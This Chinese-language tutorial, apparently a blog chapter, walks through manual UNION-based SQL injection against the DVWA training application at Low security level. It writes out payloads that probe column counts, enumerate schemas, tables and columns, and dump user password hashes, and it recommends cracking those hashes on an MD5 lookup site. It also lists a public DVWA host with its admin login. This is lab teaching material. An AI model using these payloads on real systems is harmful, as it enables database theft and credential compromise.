前言
在阅读此文章前,你需要先理解以下知识:
- PHP基本知识(数据库连接、基本语法)
- SQL注入的基本原理
- MySQL:order by 排序
- MySQL:union的作用和用法
- MySQL:group_concat的作用和用法
- MySQL:通过information_schema读取数据库信息
- MySQL:使用
--
和#
注释语句
- MD5的基本实现原理
SQLMap是一款自动SQL注入的工具,但有时它并不足够灵活。手工注入能帮助我们深入了解Web渗透的灵魂,本章我们使用DVWA进行手工SQL注入的模拟测试。
SQL注入
搭建DVWA
此步骤我们不多说,如果你不想在本地搭建虚拟机和DVWA,可以到下面这个公共站点:
http://43.247.91.228:81
用户名:admin
密码:password
设置级别
点击左侧DVWA Security
,在右侧你可以看到三个选项:
Low 低级
Medium 中级
High 高级
调整等级,就可以调整难度。
低级
选择SQL Injection,我们可以看到一个输入框:
是的,你在输入框中输入用户ID
,就能返回用户的信息。
测试列
在输入框中输入:
11' order by 3 #
#
用于将后面的语句全部注释,将语句末尾控制在我们的手里,防止出现意外语法错误。
你会获得返回结果:
1Unknown column '3' in 'order clause'
这是因为我们使用order
方法将第三列
排序,然而并没有第三列。
更换语句:
11' order by 2 #
此时你会发现结果被成功返回了:
1ID: 1' order by 2 #
2First name: admin
3Surname: admin
这说明该数据表有2列
,所以如果我们要使用union
进行联合查询的时候,也要查询2列
。输入语句:
11' union select 1,2 #
你会得到返回结果:
1ID: 1' union select 1,2 #
2First name: admin
3Surname: admin
4
5ID: 1' union select 1,2 #
6First name: 1
7Surname: 2
这说明第一列会被显示为First name
,第二列会被显示为Surname
。
组建语句
目前已知可渗透条件:
- 语句执行方法:
1' [SQL语句] #
- 如要使用
union
联合查询,必须返回两列,否则将报错。
好的,那么我们需要先组建一条语句用于获取数据库信息。
获取全部数据库
1select group_concat(schema_name) from information_schema.schemata
你可以搭建一个本地MySQL,并对本语句进行测试。
将注入语句与其拼接:
11' union select group_concat(schema_name) from information_schema.schemata #
填写到输入框中,我们会得到返回结果:
1The used SELECT statements have a different number of columns
原因是由于我们使用union
查询列数不同导致的。修改语句:
11' union select 1,group_concat(schema_name) from information_schema.schemata #
这里添加的1,
是直接选择的结果,将1
定义为第一列的结果。得到如下返回结果:
1ID: 1' union select 1,group_concat(schema_name) from information_schema.schemata #
2First name: admin
3Surname: admin
4
5ID: 1' union select 1,group_concat(schema_name) from information_schema.schemata #
6First name: 1
7Surname: information_schema,dvwa,mysql,performance_schema
此时DVWA返回了MySQL中的全部数据库。
尝试删除group_concat()
保留其括号中的列名,比对运行结果的不同。
获取当前所在数据库
如要查询DVWA正在使用哪个数据库,你可以组建语句:
11' union select 1,database() #
得到返回结果:
1ID: 1' union select 1,database() #
2First name: admin
3Surname: admin
4
5ID: 1' union select 1,database() #
6First name: 1
7Surname: dvwa
此处的database()
方法可以获取当前使用的数据库。
显示数据库中所有表
刚刚我们查询得知了DVWA正在使用的数据库名为dvwa
。现在我们组建语句查询该数据库中所有表:
11' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
返回结果:
1ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
2First name: admin
3Surname: admin
4
5ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
6First name: 1
7Surname: guestbook,users
我们可以看到,当前数据库(dvwa)中有两个表:guestbook
、users
。
获取表中列名
整理一下,现在我们的目标是:
- 数据库名:dvwa
- 表名:users
- 求:
users
表中的列名
组建语句:
11' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
返回结果:
1ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
2First name: admin
3Surname: admin
4
5ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
6First name: 1
7Surname: user_id,first_name,last_name,user,password,avatar
现在我们得知,users
表中的列为:user_id
、first_name
、last_name
、user
、password
、avatar
。
获取列中数据
最后一步,我们现在已知情况为:
- 数据库名:dvwa
- 表名:users
- 重要的列名:user、password
组建语句:
11' union select user,password from dvwa.users #
返回结果:
1ID: 1' union select user,password from dvwa.users #
2First name: admin
3Surname: admin
4
5ID: 1' union select user,password from dvwa.users #
6First name: admin
7Surname: 5f4dcc3b5aa765d61d8327deb882cf99
8
9ID: 1' union select user,password from dvwa.users #
10First name: gordonb
11Surname: e99a18c428cb38d5f260853678922e03
12
13ID: 1' union select user,password from dvwa.users #
14First name: 1337
15Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
16
17ID: 1' union select user,password from dvwa.users #
18First name: pablo
19Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
20
21ID: 1' union select user,password from dvwa.users #
22First name: smithy
23Surname: 5f4dcc3b5aa765d61d8327deb882cf99
可以看到我们成功返回了用户名和密码。但这个密码是加密的,你可能觉得比较眼熟,这么长大概率是用了md5加密
。
访问md5
解密网站
这里推荐PMD5,在网站中输入MD5加密后的密码,我们就能得到真实密码:
后语
至此,我们完成了低等级的手工SQL注入。在第二章,我们将继续进行其它等级的注入测试。